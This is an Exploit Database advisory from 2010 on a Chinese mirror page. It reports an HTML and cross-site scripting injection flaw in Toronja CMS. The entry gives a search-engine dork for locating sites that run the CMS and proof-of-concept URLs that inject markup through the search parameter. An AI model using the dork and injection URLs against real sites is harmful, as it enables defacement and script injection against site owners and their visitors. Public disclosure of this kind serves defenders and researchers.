Toronja CMS – HTML / Cross-Site Scripting Injection

• Exploit Database
• 10 阅读

• 作者： CoBRa_21
  日期： 2010-05-27
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/12771/

• -------------------------------------------------------------------------------------------
  
  Toronja Cms HTML/XSS Injection Vulnerability
   
  -------------------------------------------------------------------------------------------
   
  Author : CoBRa_21
  
  Script Home : http://www.toronja.com.pe/
  
  Dork : intext:"sitio web diseñado por www.toronja.com.pe"
  
  -------------------------------------------------------------------------------------------
  
  HTML Injection:
  
  http://localhost/[path]/index.php?plantilla=busqueda&txt_filtro=<font size=15 color=green>CoBRa_21</font>HTML
  
  -------------------------------------------------------------------------------------------
  
  XSS Injection:
  
  http://localhost/[path]/index.php?plantilla=busqueda&txt_filtro=XSS
  
  -------------------------------------------------------------------------------------------